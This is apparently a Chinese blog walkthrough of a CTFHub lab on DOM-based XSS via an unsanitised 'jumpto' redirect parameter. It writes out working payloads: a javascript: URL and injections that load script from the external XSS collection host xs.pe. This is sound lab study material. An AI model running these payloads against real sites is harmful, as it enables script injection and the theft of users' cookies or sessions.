CTFHUB技能树之XSS——DOM跳转

开启靶场,打开链接:


右键查看页面源代码:

location.search获取查询字符串部分(例如:

?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/),然后使用.split("=")将其拆分为参数名和参数值的数组

检查target[0].slice(1)是否等于"jumpto",这是因为target[0]包含"?“字符,使用.slice(1)去掉”?"。如果相等,就使用location.href将页面重定向到target[1],也就是参数值所指定的URL

location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它


用hackbar进行操作:

javascript:alert(1)


?jumpto=javascript:$.getScript('//xs.pe/6b6')


但是上传后,页面发生变化,出现:

此时,复制地址栏中的URL,粘贴到URL输入框中提交:

按理说是在xss后台看到记录的,但是却没有记录下来

仔细想了想,不对啊,按理说是已经触发了的,就很奇怪

### CTFHub 技能树介绍 CTFHub 是一个专注于网络安全竞赛(Capture The Flag, CTF)的学习平台,旨在帮助参与者提升在各种安全领域的能力。技能树是该平台上用于指导学习者逐步掌握不同类型的漏洞利用和技术的重要组成部分。 #### XSS 攻击中的 DOM 跳转技术 在处理特定的跨站脚本攻击XSS)场景时,DOM跳转会涉及到URL解析和重定向逻辑。例如,在给定的例子中,通过访问带有特殊查询字符串的链接`http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=http://example.com/`[^1],JavaScript代码会读取并解析这个 URL 参数来执行相应的操作。具体来说,`.split("=")`方法被用来分割参数名称与对应的值。 #### 利用 DOM 反射型 XSS 进行攻击 另一个重要的概念是在 Web 应用程序中存在的反射型 XSS漏洞。这种类型的攻击通常发生在服务器端未正确过滤用户输入的情况下。当恶意脚本作为响应的一部分返回给浏览器时就会触发此类攻击。比如下面这段 HTML 注入的内容可以绕过某些简单的防护机制: ```html ';</script><script src=//xs.pe/6b6></script> ``` 此片段会在页面加载过程中被执行,并尝试从外部资源加载额外的 JavaScript 文件[^2]。 为了有效应对这些威胁,开发者应该始终遵循最佳实践原则,如对所有不可信的数据进行严格的验证和编码处理;同时也要不断更新自己的知识体系以跟上最新的攻防趋势。
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值